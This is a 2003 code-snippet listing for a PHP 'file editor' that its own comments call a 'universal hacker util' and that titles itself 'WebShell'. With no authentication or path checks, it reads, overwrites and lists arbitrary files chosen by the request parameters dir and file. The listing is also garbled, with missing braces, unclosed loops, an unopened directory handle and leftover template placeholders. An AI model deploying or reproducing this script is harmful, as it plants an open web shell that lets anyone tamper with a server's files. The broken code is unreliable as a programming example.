#native_company# #native_desc#


By Sean
on May 5, 2003

Version: 2.0.1

Type: Sample Code (HOWTO)

Category: File Management

License: GNU General Public License

Description: File editor. It’s a short code, so don’t worry about the length.


// I've got this file from phpbuilder.com, edited a little and use for my own needs.		//
// This script have a big troubles working with DIRs (big CPU usage + lot's of warnings)	//
// I use it only for my own, that why do not think about such problems.				//
// Frankly speaking, this is a second script on PHP I make. Bugs may exist. :)			//
// Do not lose, that this is universal hacker util, to edit anything you want!!!		//
// 	original by 	: lentin64 (ver.1.0.0)							//
// 	edited by 	: BreeZe. mailto:[email protected] [GNU][MSU] (ver.2.0.0)			//

echo " 	<html> <body bgcolor=white text=black link=blue>n";

if ($dir) 
	echo "Using $dir directory.";
	$mydir = $dir;
} else $mydir = ".";	// for unix use /home/usern/public_html/ 
				// or '.' for default dir


	$fd=fopen($mydir."/".$file, "w");
	fwrite($fd, stripslashes($text));
	header("Location: $PHP_SELF?dir=$mydir");
	$fp=fopen($mydir."/".$file, "r"); // $mydir$myfile
	while(!feof($fp)) {
		$con .= fgets($fp, 4096);
	echo "	<FORM ACTION='$PHP_SELF' METHOD='post'>n
		<input type=hidden name=writefile value=$file>n
		<input type=hidden name=file value=$file>n
		<input type=hidden name=dir value=$mydir>n
		<TITLE>WebShell - Editing $file</TITLE>n
		<TEXTAREA ROWS='20' COLS='55' NAME='text'>n";
	echo $con;
	echo "	</TEXTAREA><BR>n
		<input type='submit' value='Save'>n</form>n";
	while($file = $curdir->read()) { 	
		// originally was $curdir->read()
		echo "<a href='$PHP_SELF?file=$file&dir=".$mydir."'>$file</a><BR>n";
	echo "	<FORM ACTION='$PHP_SELF' METHOD='post'>n
		<input type=text name=dir value='$mydir'>n
		<TITLE>Editing $file</TITLE>n
		<input type='submit' value='Change dir'>n</form>n";